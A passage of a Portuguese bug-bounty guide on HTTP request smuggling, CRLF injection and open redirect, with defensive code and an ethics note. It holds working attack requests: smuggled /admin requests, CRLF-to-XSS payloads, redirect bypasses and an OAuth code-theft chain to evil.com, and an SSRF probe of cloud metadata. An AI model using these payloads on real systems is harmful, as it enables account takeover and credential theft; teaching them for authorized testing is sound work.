O que acontece, byte a byte: - O corpo (depois da linha em branco) é `1\r\nA\r\nX` — onde `1` é o tamanho do chunk (1 byte, em hexadecimal) e `A` é o conteúdo desse chunk. - O **front-end** obedece o `Content-Length: 4` → encaminha só os **4 primeiros bytes** do corpo: `1` , `\r` , `\n` , `A` (ou seja, `1\r\nA`). O `\r\nX` que sobra **não é encaminhado**. - O **back-end** obedece o `Transfer-Encoding: chunked` → lê o chunk de 1 byte (`A`), e como **não viu um chunk terminador** `0` , **fica esperando o próximo chunk** que nunca chega. - Resultado:

atraso observável. O back-end trava esperando bytes que o front-end reteve. Isso indica CL.TE.

> Use `Content-Length: 4` na detecção (e **não** envie o `0` terminador) justamente pra travar o back-end. É o atraso que confirma o bug. Faça isso na extensão pra não derrubar conexões reais.

Smuggling — Nível 4: explorando CL.TE pra burlar o front-end

Agora a versão que **acessa** `/admin` que o front-end bloqueava (PortSwigger):

```
POST /home HTTP/1.1
Host: alvo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: alvo.com
Foo: x
```

Passo a passo: - O **front-end** usa `Content-Length: 48` → vê tudo (incluindo o `GET /admin`) como **um único corpo** da request pra `/home` (que é permitida) e encaminha. - O **back-end** usa `Transfer-Encoding: chunked` → lê o chunk `0` (terminador) e considera a request `/home` **encerrada ali**. O resto (`GET /admin ...`) sobra no buffer e é tratado como **a próxima request**. - Como essa "próxima request" já passou pelo front-end, o back-end **assume que ela foi autorizada** e serve `/admin`.

> O `Content-Length` precisa bater **exatamente** com o tamanho do corpo que o front-end enxerga — ou seja, **tudo a partir do `0`**, incluindo o `0\r\n\r\n` e a request escondida (lembre: cada quebra de linha conta como 2 bytes, `\r\n`). Aqui `0\r\n\r\nGET /admin HTTP/1.1\r\nHost: alvo.com\r\nFoo: x` = **48 bytes**. (No lab da PortSwigger, com o host `vulnerable-website.com`, esse mesmo cálculo dá `62`.) Erre por um byte e o ataque falha.

Smuggling — Nível 5: TE.CL

O espelho. Aqui o front-end lê chunks e o back-end conta bytes (PortSwigger):

```
POST / HTTP/1.1
Host: alvo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
```

```
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
```

- `71` é o tamanho do chunk em **hexadecimal** (= 113 bytes): tudo do `POST /admin` até o `x=1`.
- O **front-end** (TE) lê esse chunk de 113 bytes, depois o chunk `0`, e encaminha tudo.
- O **back-end** (CL) obedece o `Content-Length: 4` → consome só `71\r\n`, e o `POST /admin...` sobra como **request seguinte**.

> **Configuração no Burp Repeater (essencial pra TE.CL):** desmarque a opção **"Update Content-Length"** (menu do Repeater) — senão o Burp recalcula o `Content-Length` e quebra o ataque. E garanta o `\r\n\r\n` final depois do `0`.

Smuggling — Nível 6: HTTP/2 downgrade (a fronteira moderna)

O HTTP/2 **deveria** matar o smuggling: ele tem um mecanismo de tamanho **embutido e binário**, sem depender de CL/TE. O problema é o **downgrade**: muitos front-ends falam HTTP/2 com o cliente, mas **traduzem pra HTTP/1.1** ao falar com o back-end. Nessa tradução, o front-end **reconstrói** os headers `Content-Length` / `Transfer-Encoding` — e se você injetou valores conflitantes nos headers do HTTP/2, o back-end downgrade pode ser dessincronizado. São as variantes **H2.CL** e **H2.TE**, da pesquisa HTTP/2: The Sequel is Always Worse (James Kettle). Por isso a defesa moderna é **HTTP/2 fim-a-fim** (sem downgrade no caminho).

Caso real-fictício: CRLF refletido num servidor de pacotes interno

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está testando `repo.exemplo.com`, um servidor de pacotes (estilo PyPI server, atrás de um nginx/openresty). Ao acessar um path qualquer, o servidor responde com um redirect `301`. Você suspeita que o **path reflete em algum header**.

Passo 1 — Probe. No Repeater, injeta o marcador CRLF direto no path:

```
GET /%0d%0aX-PoC-Cookie:injetado HTTP/2
Host: repo.exemplo.com
```

Passo 2 — Confirmar. A resposta (modo **Raw**):

```
HTTP/2 301 Moved Permanently
Server: openresty
Location: https://repo.exemplo.com/
X-PoC-Cookie: injetado           # <- header injetado por você: CRLF confirmado
Content-Type: text/html
```

O `%0d%0a` quebrou a linha e o `X-PoC-Cookie: injetado` virou um **header de resposta arbitrário**. CRLF Injection confirmado num `301`.

Passo 3 — Tentar escalar. Você testa response splitting (`%0d%0a%0d%0a<script>...`) pra virar XSS. Nesse alvo o navegador **não renderiza** (o `Content-Type` e o contexto não ajudam), então a escalada pra XSS **não vai**. Sem problema: você reporta o **CRLF/header injection** com o impacto que **realmente** existe (injeção de header arbitrário, com potencial pra `Set-Cookie`/poisoning).

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Request (Raw) o path `/%0d%0aX-PoC-Cookie:injetado` destacado; na Response (Raw) o header `X-PoC-Cookie: injetado` presente entre os headers do `301`.

Passo 4 — Report. Título `[CRLF Injection] - Injeção de header HTTP arbitrário via %0d%0a no path`. Resumo honesto: "*é possível injetar headers HTTP arbitrários na resposta; tentativas de escalar pra XSS não tiveram sucesso neste contexto, mas o vetor permite manipulação de headers (ex.: Set-Cookie)*". Severidade **Média** (CVSS **v3.1 6.1** / **v4.0 5.3** — header injection refletido, sem escalada confirmada neste contexto). Faixa típica desse tipo de achado: **R$150–R$500**. (Como estruturar isso no capítulo Como escrever um report que paga, e severidade em Severidade e impacto.)

Defesa em camadas

Contra CRLF

A regra de ouro: **nunca** coloque entrada do usuário num header de resposta sem **rejeitar/encodar `\r` e `\n`**.

```
// ERRADO — entrada vai direto pro header
header("Location: " . $_GET['url']);

// CORRETO — rejeita qualquer CR/LF antes de usar
$url = (string) $_GET['url'];
if (preg_match('/[\r\n]/', $url)) {
    http_response_code(400);
    exit('entrada inválida');
}
```

```
// melhor ainda: valide contra uma allowlist de destinos
header("Location: " . filter_var($url, FILTER_SANITIZE_URL));
```

```
// Node — recuse CR/LF e use APIs que sanitizam headers.
// Em Node moderno, res.setHeader já lança erro com \r ou \n no valor,
// mas valide você também (defesa em profundidade):
if (/[\r\n]/.test(input)) return res.status(400).end('invalid');
res.setHeader('Location', encodeURI(input));
```

- **Use a API de redirect do framework** (que sanitiza) em vez de montar o header na mão.
- **Allowlist de URLs de redirect** mata CRLF *e* open redirect de uma vez.

Contra Request Smuggling

A causa é **ambiguidade entre servidores**. As defesas:

1. **HTTP/2 fim-a-fim, sem downgrade.** A defesa mais robusta. Sem a ginástica CL/TE, o vetor clássico evapora.
2. **Normalizar/rejeitar requests ambíguas no front-end.** Se uma request tem `Content-Length` **e** `Transfer-Encoding` **ao mesmo tempo**, o front-end deve **rejeitar (400)** ou normalizar antes de encaminhar. Idem pra `Transfer-Encoding` ofuscado.

`nginx # Exemplo conceitual: bloquear requests com ambos os headers ambíguos. # (a defesa real depende do produto; muitos WAFs/proxies têm flag de # "reject ambiguous requests" — habilite-a)`

> **WAF**: Web Application Firewall — filtro que inspeciona requests e bloqueia padrões maliciosos antes de chegarem na aplicação. Detalhe no Glossário.

1. **Front-end e back-end com o MESMO servidor/regra.** Quanto mais homogêneo o stack, menor a chance de desync. Mantenha proxies e servidores **atualizados** (muitas correções de desync vêm em patches).
2. **Desabilitar reuso de conexão back-end** mitiga (não elimina) alguns ataques, com custo de performance.

> **O que NÃO basta:** filtrar só `<script>` (não resolve nem CRLF nem smuggling); confiar que "o front-end já validou" (é exatamente o que o smuggling abusa); achar que HTTP/2 te protege se você faz **downgrade** no caminho.

Ferramentas + labs legais

- **Burp Suite** — Repeater (com **"Update Content-Length" desmarcado** pra TE.CL), e a extensão **HTTP Request Smuggler** (detecção/automação por timing).

- **PortSwigger Web Security Academy** — labs gratuitos e oficiais de HTTP request smuggling e de CRLF/response splitting. A melhor fonte pra treinar.
- **smuggler.py** (defparam) e **h2csmuggler** — scripts auxiliares pra detecção (use só em alvos autorizados).
- **DVWA / labs próprios** pra praticar CRLF sem risco.

Checklist do caçador

- [ ] Mapeei todo parâmetro que pode refletir em header (`url=` , `redirect=` , `next=` , `post_logout_redirect_uri` ...).
- [ ] Testei `%0d%0a` , `%0D%0A` , `%0a` e bytes Unicode (`%E5%98%8A%E5%98%8D`) no probe de CRLF.
- [ ] Olhei a resposta em **Raw** (não Pretty) pra ver o header injetado.
- [ ] Tentei escalar CRLF: `Set-Cookie` , dois CRLFs pro corpo (response splitting → XSS), cache poisoning.
- [ ] Rodei o **HTTP Request Smuggler** (Smuggle probe) nos endpoints POST.
- [ ] Confirmei smuggling por **timing** (atraso) antes de explorar.
- [ ] Lembrei: chunk size é **hexadecimal**; `Content-Length` conta `\r\n` como 2 bytes.
- [ ] Em TE.CL, **desmarquei "Update Content-Length"** no Repeater.
- [ ] Testei se há **downgrade HTTP/2 → HTTP/1.1** (H2.CL / H2.TE).
- [ ] Conferi o **escopo** e testei smuggling com cuidado (afeta outros usuários).

Pegadinhas / o que NÃO funciona

- **Chunk size em decimal.** `11\r\nhello world` está **errado** — o tamanho é hexadecimal (`b`). Erro nº 1 de quem começa.
- **Esquecer que CRLF é 2 bytes.** Ao calcular `Content-Length` no smuggling, cada `\r\n` conta **2 bytes**. Conta errada = ataque morto.
- **Deixar o Burp recalcular o Content-Length.** Em TE.CL, se "Update Content-Length" estiver marcado, o Burp **conserta** seu payload malicioso. Desmarque.
- **Testar no Pretty view.** O Pretty do Burp normaliza/oculta CRLF. Sempre Raw.
- **Achar que `301` / `302` não dá XSS.** O CRLF pode injetar header mesmo num redirect; a escalada pra XSS **depende do contexto** (Content-Type, render do browser) — às vezes não vai, e tudo bem reportar só a injeção de header.
- **Smuggling "às cegas".** Mandar payloads de exploração sem confirmar por timing primeiro pode **derrubar requests de usuários reais**. Confirme, depois explore com responsabilidade.

O que você precisa lembrar

- **Mesma raiz:** os dois bugs abusam de **como o HTTP é parseado** — delimitadores invisíveis (`\r\n`) e ambiguidade de tamanho (CL vs TE).
- **CRLF Injection** = você injeta `%0d%0a` e **escreve headers/conteúdo** na resposta. Escala pra Set-Cookie, response splitting (XSS) e poisoning.

- **Request Smuggling** = front-end e back-end **discordam onde sua request termina**. Variantes **CL.TE / TE.CL / TE.TE** (e **H2.CL/H2.TE** no downgrade).
- **Detecção:** CRLF por **reflexo de header**; smuggling por **timing**.
- **Defesa:** rejeitar `\r\n` em headers (CRLF); **HTTP/2 fim-a-fim** + rejeitar requests ambíguas (smuggling).

> **Dica de ouro:** sempre que sua entrada toca um **header** (resposta) ou o **delimitador de tamanho** de uma request, pergunte "*o que acontece se eu colocar uma quebra de linha aqui?*". Confirme **CRLF por reflexo** e **smuggling por timing** — nunca chute. E no smuggling, conte os bytes na mão: o `\r\n` invisível é onde o ataque vive ou morre.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Request smuggling é especialmente sensível: um teste mal feito pode **dessincronizar conexões de usuários reais** e causar indisponibilidade. Confirme por timing, explore com parcimônia, e nunca rode contra alvos sem permissão. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- PortSwigger — HTTP request smuggling (tutorial & examples)
- PortSwigger — Finding HTTP request smuggling vulnerabilities
- PortSwigger — Exploiting HTTP request smuggling
- PortSwigger Research — HTTP/2: The Sequel is Always Worse (James Kettle)
- HTTP Request Smuggler — extensão do Burp (GitHub)
- OWASP — CRLF Injection
- OWASP — HTTP Response Splitting
- Citrix CTX477714 — CVE-2023-24488 (Gateway XSS via CRLF)

Open Redirect: o trampolim subestimado

"Achei um redirect, mas o triador fechou como informativo"

Acontece direto: o caçador encontra que `https://alvo.com/go?url=https://google.com` joga o navegador pro Google, reporta como **Open Redirect**, e a resposta vem fria — "*baixo impacto, não aceito*" ou um bounty simbólico. Aí o iniciante conclui que open redirect "não vale a pena" e para de testar.

Erro clássico. O open redirect é o **trampolim** mais subestimado do bug bounty. **Sozinho**, ele costuma valer pouco mesmo (faixa de R$0 num VDP — *Vulnerability Disclosure Program*, programa que aceita reports mas paga só em reconhecimento, sem dinheiro — a uns R$500 quando muito). Mas é a peça que **transforma um bug médio em crítico** quando entra numa **chain**: roubar o `code` de um fluxo OAuth, mascarar um SSRF, ou montar um phishing tão convincente que o link **realmente começa em** `alvo.com` e tem o cadeado de TLS do alvo. Neste capítulo a gente vai do "o que é" até o uso ofensivo em chaining, com detecção, todos os bypasses de validação de domínio e a defesa que mata a classe.

> Aparecem aqui dois termos que valem fixar: **OAuth** é o protocolo de "Login com Google/GitHub" — um provedor confiável autentica você e devolve um `code`/token pro app. **SSRF** (*Server-Side Request Forgery*) é quando você força o **servidor** do alvo a fazer requisições por você (ex.: pra um recurso interno). Ambos têm capítulo próprio neste guia.
>
> Open redirect é o **CWE-601** (CWE = catálogo público de tipos de fraqueza de software, mantido pela MITRE) e cai no guarda-chuva do OWASP como Unvalidated Redirects and Forwards. Não tem uma posição própria no Top 10, mas aparece como **gadget** — peça reaproveitável que, combinada com outras, vira um ataque maior — de A01 (Broken Access Control) e como vetor de phishing/token theft.

O que é Open Redirect

Open redirect (ou *unvalidated redirect*) é quando a aplicação **manda o navegador pra uma URL que veio do usuário**, sem validar pra onde. Você controla o destino do redirecionamento; o app obedece cegamente.

> **Analogia:** imagine a recepcionista de um prédio respeitável. Alguém liga e diz "*transfere essa ligação pro ramal 4823*". Se ela transfere sem conferir se 4823 existe **dentro do prédio** — e na verdade joga a ligação pra um número de fora —, qualquer um pode usar a recepcionista de fachada confiável pra levar a vítima até um golpista. A

> vítima confia porque a ligação **começou** no prédio sério. O navegador é a vítima; a recepcionista é o servidor; o "ramal de fora" é o `evil.com`.

A definição da PortSwigger é direta: "*open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way*" (PortSwigger KB). A palavra-chave é **unsafe** — não é o redirect que é o problema, é a **falta de validação** do destino.

Existem dois sabores: - **Redirect baseado em header** — o servidor responde `3xx` com um `Location:` controlado por você. É o mais comum. - **Redirect client-side (DOM-based)** — o JavaScript da página lê um parâmetro e faz `window.location = ...` / `location.href = ...`. Aqui não tem `3xx`; quem redireciona é o browser executando o JS. (Detecção é diferente — falamos disso no recon.)

Por que isso importa (e quanto paga)

O impacto **isolado** é, sim, baixo — e é importante você entender o **porquê** pra não brigar com o triador à toa. Um redirect puro não rouba dado, não executa código, não muda estado: ele só **leva você pra outro lugar**. O risco real é **engenharia social** — o link parece do alvo, mas termina no atacante.

Mas o valor explode quando o redirect vira **trampolim** numa chain. Aí o impacto não é "do redirect" — é do que ele **destrava**:

Cenário	Impacto isolado	Em chain	Por quê
Phishing	Baixo	Médio/ Alto	Link legítimo (`alvo.com` + TLS do alvo) que cai numa página de login clonada
Roubo de `code` /token OAuth	—	**Crítico**	O `redirect_uri` aponta pro alvo, mas um open redirect **no próprio alvo** repassa o `code` pro atacante → **ATO**
Mascarar **SSRF**	—	Alto/ Crítico	A allowlist do SSRF só deixa passar `alvo.com` ; o redirect interno leva ao recurso interno
Bypass de allowlist de saída	—	Médio	Validações que confiam que "começa com alvo.com está seguro"
Furtar `Authorization` / cookies via repasse	—	Alto	Quando o redirect carrega tokens na URL pra fora

Faixa realista: **open redirect puro** costuma pagar de **nada (VDP/informativo)** a **~R$500**. **A mesma falha dentro de uma chain de OAuth** (roubo de token → account takeover) salta pra **Crítico** e paga de **milhares a dezenas de milhares**. **O dinheiro está na chain, não no redirect.**

Como isso pontua (CVSS v3.1 e v4.0)

A nota técnica conta uma história parecida: **baixa/média sozinho, crítica em chain**. Repare que "vale pouco" (mercado) e "score baixo" (CVSS) não são a mesma coisa — o CVSS de um open redirect isolado costuma cair em **Médio**, não em "Baixo", porque o ataque **muda de escopo** (sai do alvo e atinge o usuário). Por isso é útil levar os dois números no report:

Cenário	CVSS v3.1	CVSS v4.0	Leitura
Open redirect isolado	**6.1 — Médio** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`	**~5.3 — Médio** `AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N`	Exige **interação** da vítima (clicar); impacto é integridade/confiança, não dado direto. O `S:C` (escopo alterado) do v3.1 é o que segura em Médio.
Chain: open redirect → roubo de `code`/token OAuth → ATO	**8.0–9.3 — Alto/Crítico** ex.: `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` (9.3)	**8.3–9.3 — Alto/Crítico** ex.: `…/VC:H/VI:H/VA:N/SC:H/SI:H/…`	O impacto **não é do redirect** — é da conta tomada. Aqui você pontua o **resultado da chain** (ATO), não o gadget.

> **Por que dois scores?** O **v3.1** ainda é o que a maioria dos programas usa; o **v4.0** (FIRST, 2023) trocou o `S` (Scope) por métricas separadas de impacto **no sistema** (`VC/VI/VA`) e **subsequente** (`SC/SI/SA`) — o que **descreve melhor um trampolim**, em que o dano acontece num *outro* sistema (a conta da vítima, um serviço interno). Para open redirect, a referência da PortSwigger classifica a severidade do issue isolado como **Low/Information**, justamente porque o impacto direto depende de engenharia social — outra razão pra **pontuar a chain**, não o gadget.
>
> **Cheque o escopo.** Muitos programas marcam open redirect **isolado** como *out of scope* ou *informational*. Não desista: documente a **chain** ou o **impacto demonstrável** (token theft, phishing de credencial). É a chain que paga. Calibre o número com cuidado — detalhe no capítulo Severidade & Impacto.

Como funciona por trás

A raiz é sempre a mesma: **o destino do redirect vem do cliente e não é validado contra uma allowlist**. Veja o fluxo header-based vulnerável:

```
GET /login?next=https://evil.com HTTP/2
Host: alvo.com
```

```
HTTP/2 302 Found
Location: https://evil.com          # <- o servidor refletiu o "next" cru no Location
```

O navegador recebe o `302`, lê o `Location`, e segue obedientemente pro `evil.com`. O usuário só vê que **começou** em `alvo.com`.

Do lado do código, o pecado é refletir o input direto no redirect:

```
// Backend VULNERÁVEL — confia no parâmetro e redireciona pra qualquer lugar
$dest = $_GET['next'];
header("Location: " . $dest);   // <- nenhuma validação de domínio
exit;
```

```
// Node/Express VULNERÁVEL
app.get('/login', (req, res) => {
  res.redirect(req.query.next);   // <- mesmo erro: destino arbitrário
});
```

```
// DOM-based VULNERÁVEL (client-side) — sem 3xx nenhum, quem redireciona é o browser
const params = new URLSearchParams(location.search);
window.location = params.get('returnUrl');   // <- input cru vira navegação
```

Repare: na versão DOM-based não existe `Location` na resposta do servidor. Quem executa o redirect é o JS no browser. Por isso ferramentas que só olham respostas HTTP **não pegam** esse caso — você precisa olhar o JS.

Onde achar — os parâmetros suspeitos

Open redirect mora em parâmetros que carregam um **destino/URL de retorno**. Decore esta família — é onde você vai bater os olhos primeiro:

Nome do parâmetro	Onde aparece tipicamente
`url`, `redirect`, `redirect_url`, `redir`, `rurl`	redirecionadores genéricos, encurtadores, trackers
`next`, `return`, `returnTo`, `return_url`, `return_path`	pós-login ("volte pra onde eu estava")
`dest`, `destination`, `target`, `go`, `to`, `out`, `view`	links de saída, "ir para"
`continue`, `callback`, `forward`	fluxos de continuação
`redirect_uri`	**OAuth/OIDC** (o mais valioso — destrava token theft)
`image_url`, `checkout_url`, `link`, `u`	trackers, e-commerce, e-mails de marketing

> **Mapa mental:** todo lugar onde o app precisa **"te levar de volta pra onde você estava"** é candidato — pós-login, pós-logout, pós-checkout, pós-OAuth. Esse "de volta"

> quase sempre é um parâmetro, e parâmetro que aceita URL é onde o open redirect se esconde.

Recon — como encontrar

A ideia é coletar **muitas URLs** do alvo e filtrar as que carregam parâmetros de redirect. As ferramentas de coleta de URL (`gau` , `katana` , `waybackurls`) já foram apresentadas no capítulo Recon & Discovery — recapitulando rápido: `gau` puxa URLs do Wayback/AlienVault/etc., e `gf` é um wrapper de `grep` com padrões prontos por classe de bug.

```
# 1) Junta URLs históricas do alvo e filtra parâmetros de redirect
#    'gau' = get all urls (coleta passiva); 'gf redirect' usa o pattern pronto da
classe
gau alvo.com | gf redirect | sort -u
```

```
# 2) Sem o gf? Filtra na unha os nomes de parâmetro suspeitos
gau alvo.com \
  | grep -Ei '[?&](url|next|redirect|redir|return|returnTo|dest|destination|continue|
callback|redirect_uri|rurl|target|go|u)=' \
  | sort -u
```

```
# 3) DOM-based: baixe os arquivos .js e procure sinks de navegação client-side
echo alvo.com | katana -jc -silent \
  | grep -Ei '\.js($|\?)' \
  | while read u; do
      curl -s "$u" | grep -Eni 'location\.(href|replace|assign)|window\.location|
document\.location'
    done
# leia o trecho: de onde vem o valor? Se vem de location.search/hash sem validar -> DOM
open redirect
```

Como confirmar um candidato no Burp: mande a request no **Repeater**, troque o parâmetro pra um domínio que você controla (use `example.com` , que é reservado pra exemplos pela IANA, ou um Burp Collaborator) e veja a resposta:

```
GET /go?url=https://example.com HTTP/2
Host: alvo.com
```

Se voltar `Location: https://example.com` (header-based) **ou** o navegador sair pro `example.com` ao abrir no browser (DOM-based) → candidato confirmado. **Importante:** desligue o "Follow redirects" do Repeater pra **ver** o `Location` em vez de já seguir.

Exploração e bypasses de validação de domínio

A maioria dos alvos **tenta** validar o destino. O jogo do caçador é descobrir **como** eles validam e quebrar essa lógica. Vamos do mais simples ao mais sutil — entendendo **por que** cada um funciona, que é o que te deixa replicar em qualquer alvo.

Nível 0 — Sem validação nenhuma

O destino é refletido cru. Funciona com qualquer URL absoluta:

```
https://alvo.com/go?url=https://evil.com
```

Nível 1 — Bypass de URL scheme-relative (`//evil.com`)

Esse é o **rei dos bypasses** e o que aparece na maioria dos casos reais. Validações ingênuas checam "*a URL começa com `http://` ou `https://` de domínio externo?*" — e bloqueiam isso. Mas elas esquecem da **URL scheme-relative** (também chamada *network-path reference*, definida na RFC 3986 §4.2):

```
https://alvo.com/go?url=//evil.com        # <- duas barras, SEM esquema
```

Por que funciona: o navegador interpreta `//evil.com` como "*use o mesmo esquema da página atual (https) e vá pro host `evil.com`*". Ou seja, vira `https://evil.com`. Mas pro filtro do servidor, a string **não contém** `http://` nem `https://`, então passa. Esse foi exatamente o padrão de um caso real anonimizado (um endpoint LTI que aceitava `redirect_uri=//evil.com` e jogava o usuário pra fora).

Variantes pra quando filtram `//`:

```
https://alvo.com/go?url=/\evil.com         # barra + backslash
https://alvo.com/go?url=\/\/evil.com       # backslashes
https://alvo.com/go?url=/%2f/evil.com      # barra encodada no meio
https://alvo.com/go?url=%2f%2fevil.com     # // totalmente encodado
```

Por que funcionam: navegadores **normalizam** `\` pra `/` (e decodificam `%2f`), mas muitos parsers de backend tratam `\` como caractere de path comum — então o servidor "acha" que é um caminho interno e libera, enquanto o browser entende como host externo. É uma **discrepância de parsing** entre quem valida (servidor) e quem executa (browser).

Nível 2 — Bypass de esquema "colado" (`https:evil.com`)

Alguns filtros exigem que a URL **comece com** `/` (achando que assim fica relativa ao próprio host). Contorne com:

```
https://alvo.com/go?url=https:evil.com     # esquema sem as duas barras
https://alvo.com/go?url=https:/evil.com    # esquema com UMA barra
```

Por que funciona: `https:evil.com` é interpretado por muitos browsers como `https://evil.com` (eles toleram a ausência das `//`). O filtro não vê o `//` clássico e deixa passar.

Nível 3 — Bypass via `@` no userinfo (`https://alvo.com@evil.com`)

Esse engana **humano e máquina**. A sintaxe de URL permite `usuario:senha@host` (a parte *userinfo*, RFC 3986 §3.2.1). Então:

```
https://alvo.com/go?url=https://alvo.com@evil.com   # <- "alvo.com" é só o usuário!
```

Por que funciona: pro browser, tudo **antes do** `@` é credencial (userinfo) e o **host real** é o que vem **depois** — ou seja, `evil.com`. Mas um filtro que faz "*a URL contém* `alvo.com`?" ou "*começa com* `https://alvo.com`?" vê o `alvo.com` no começo e aprova. É o bypass perfeito contra validação por `startsWith` / `contains`.

Nível 4 — Confusão de subdomínio e sufixo

Aqui o atacante registra um domínio que **engana** a checagem de string:

Payload	Checagem que ele engana	Por que passa
`https://evil.com/alvo.com`	`contains("alvo.com")`	`alvo.com` aparece no **path**, mas o host é `evil.com`
`https://alvo.com.evil.com`	`startsWith("alvo.com")`	o host **começa** com `alvo.com.` mas o domínio registrável é `evil.com`
`https://evilalvo.com`	`contains("alvo.com")` parcial	substring casa, mas é outro domínio
`https://alvo.com.evil.com`	`endsWith` malfeito	precisa terminar com `.alvo.com`, não conter

Por que funcionam: todas exploram validação por **substring** em vez de **parsing real do host**. A lição: nunca valide host com `contains` / `startsWith` / `endsWith` em string — só com um **parser de URL** que extraia o host e compare exato.

Nível 5 — Encoding e double-encoding

Quando o filtro roda **antes** da decodificação, ou decodifica uma vez a menos que o browser:

```
https://alvo.com/go?url=https%3A%2F%2Fevil.com       # URL-encoded simples
https://alvo.com/go?url=https%253A%252F%252Fevil.com  # double-encoded
https://alvo.com/go?url=http://evil.com%2523@alvo.com # mistura encoding + @
```

Por que funciona: se a aplicação valida a string **codificada** (e portanto não vê `evil.com`) mas depois **decodifica** antes de redirecionar, o destino real escapa da validação. Double-encoding ataca camadas que decodificam duas vezes.

Nível 6 — CRLF no parâmetro de redirect (escala pra XSS/header injection)

Quando o valor do parâmetro vai **cru pro header** `Location` e o servidor **não filtra** `\r\n` (CRLF — *carriage return + line feed*, os bytes `%0d%0a` que separam um header do outro no HTTP), o "open redirect" deixa de ser só redirect: você consegue **injetar headers** e até **HTML/JS** na resposta. É a ponte entre open redirect e CRLF Injection.

```
https://alvo.com/logout?redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</
script>
```

Por que funciona: o `%0d%0a%0d%0a` fecha os headers e abre o **corpo** da resposta; se o `Content-Type` for `text/html`, o navegador renderiza o que vier depois — virando **XSS refletido**. Esse foi exatamente o padrão de um caso real anonimizado: um gateway corporativo refletia o parâmetro `post_logout_redirect_uri` do endpoint de logout sem sanitizar CRLF, e um payload com `%0D%0A%0D%0A<body onload=...>` executava JS no domínio do alvo (o CVE-2023-24488 é classificado como XSS/CWE-79, não open redirect). Aqui a severidade **sobe sozinha**, sem precisar de outra falha: XSS no domínio do alvo já é Alto.

> Antes de cravar "só open redirect", sempre teste **um `%0d%0a` no parâmetro**. Se a quebra de linha passa pro `Location`, você pode ter CRLF/XSS no colo — um achado bem mais valioso. A mecânica completa está em CRLF Injection e HTTP Request Smuggling.
>
> **Dica de ouro do bypass:** o open redirect quase sempre é uma **discrepância de parsing** — o validador e o executor (browser) entendem a mesma string de formas diferentes. Sua arma é uma boa **wordlist** rodada no parâmetro. A página Open Redirect do PayloadsAllTheThings reúne os payloads de bypass prontos (e linka a wordlist Open-Redirect-Payloads do Cujanović) — jogue no **Burp Intruder** (posição no parâmetro) e veja qual variação escapa.

Onde o trampolim vira crítico: chaining

Aqui é o coração do capítulo. **Sozinho** o redirect é fraco; em chain ele destrava o ouro. Open redirect é um dos **gadgets** mais reutilizados em chains — se a ideia de "somar bugs pequenos num crítico" ainda é nova pra você, o capítulo Chaining de Vulnerabilidades trata disso a fundo; aqui mostramos os três encaixes mais rentáveis.

Chain 1 — Roubo de `code` OAuth → Account Takeover

Esse é o uso de maior impacto. Recapitulando o fluxo OAuth *authorization code* (que detalhamos no capítulo Account Takeover): o app redireciona você pro provedor (Google/GitHub) com `client_id`, `redirect_uri`, `response_type=code`, `scope` e `state`. O provedor autentica e devolve um `code` pro `redirect_uri`. Quem tiver o `code` troca por um token e **loga como você**.

Os provedores sérios validam o `redirect_uri` contra uma allowlist exata — você **não consegue** apontar direto pra `evil.com`. **Mas** a PortSwigger aponta o caminho: se você achar um **open redirect dentro do próprio domínio whitelisted**, o `redirect_uri` continua sendo `alvo.com` (válido!), o provedor entrega o `code` pra `alvo.com`, e o **open redirect repassa esse `code` pra você**. Como diz a PortSwigger sobre OAuth, um open redirect no cliente legítimo vira "*a proxy to forward victims, along with their code or token, to an attacker-controlled domain*".

> **Detalhe que destrava o lab clássico:** mesmo quando a allowlist do provedor é estrita, ela muitas vezes só checa se o `redirect_uri` **começa com** o valor cadastrado — e deixa você **anexar** caracteres no fim, incluindo `/../`. No lab oficial da PortSwigger, o truque é `redirect_uri=https://alvo.com/oauth-callback/../post/next?path=//evil.com` — o `/../` "sobe" do callback e cai no open redirect do blog. É o **Nível 4** (validação por `startsWith`) reaparecendo, agora dentro do OAuth.

Na prática, o `redirect_uri` aponta pra um endpoint de redirect interno do alvo:

```
GET /oauth/authorize?client_id=app123
 &response_type=code
 &redirect_uri=https://alvo.com/login/callback?next=//evil.com   # <- callback válido,
mas com open redirect embutido
 &scope=openid+email
 &state=xyz HTTP/2
Host: accounts.provedor.com
```

Fluxo do ataque: 1. A vítima clica no link (parece 100% legítimo — começa no provedor real e usa o `alvo.com` real). 2. O provedor autentica e redireciona pra `https://alvo.com/login/callback?next=//evil.com&code=AUTH_CODE`. 3. O endpoint `/login/callback` do alvo, vulnerável, segue o `next` e redireciona pra `//evil.com` **carregando o `code` junto** (no query ou via `Referer`). 4. O atacante captura o `code` em `evil.com` e troca por um token → **ATO**.

> **fragment**: a parte da URL após o # (ex.: #access_token=abc). O navegador a lê, mas ela NÃO é enviada ao servidor.

Variante ainda mais direta com o **implicit grant** (`response_type=token`): aí o **access token** vem na **fragment** (`#access_token=...`) da URL de callback. Como a PortSwigger nota, "*the access token is sent from the OAuth service to the client application via the user's browser as a URL fragment*" — e fragment é lido por JS no browser, então um open redirect client-side no callback vaza o token direto. O detalhe que faz a chain fechar: **o navegador reanexa a fragment ao seguir um redirect**, então quando o open redirect leva pra `evil.com`, o `#access_token=...` vai junto; em `evil.com` um `document.location.hash` captura o token e reenvia pro atacante (é assim que o lab da PortSwigger exfiltra).

Chain 2 — Mascarar/destravar SSRF

Quando um endpoint de SSRF tem allowlist ("*só aceito URLs de* `alvo.com`"), você dá uma URL de `alvo.com` que **redireciona** pro alvo interno:

```
POST /api/fetch-preview HTTP/2
Host: alvo.com
Content-Type: application/json

{"url":"https://alvo.com/go?url=http://169.254.169.254/latest/meta-data/"}
# <- passa a allowlist (é alvo.com), mas o redirect leva o fetcher pro metadata interno
```

